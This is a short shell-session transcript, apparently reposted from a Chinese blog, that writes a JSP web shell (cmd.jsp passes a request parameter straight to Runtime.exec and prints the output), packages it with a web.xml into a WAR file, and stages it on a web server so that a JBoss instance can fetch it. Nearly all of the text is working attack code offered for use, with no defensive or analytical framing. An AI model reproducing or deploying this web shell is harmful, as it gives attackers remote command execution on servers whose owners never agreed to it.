$ echo 'The JSP to execute the commands'
$ cat >cmd.jsp<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
$ echo 'The web.xml file in the WEB-INF directory configures the web application'
$ mkdir WEB-INF
$ cat >WEB-INF/web.xml
<?xml version="1.0" ?>
<web-app xmlns=" http://java.sun.com/xml/ns/j2ee "
xmlns:xsi=" http://www.w3.org/2001/XMLSchema-instance "
xsi:schemaLocation=" http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd "
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
$ echo 'Now put it into the WAR file'
$ jar cvf cmd.war WEB-INF cmd.jsp
$ echo 'Copy it on a web server where the Jboss server can get it'
$ cp cmd.war /var/www/localhost/htdocs/
本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/431946，如需转载请自行联系原作者
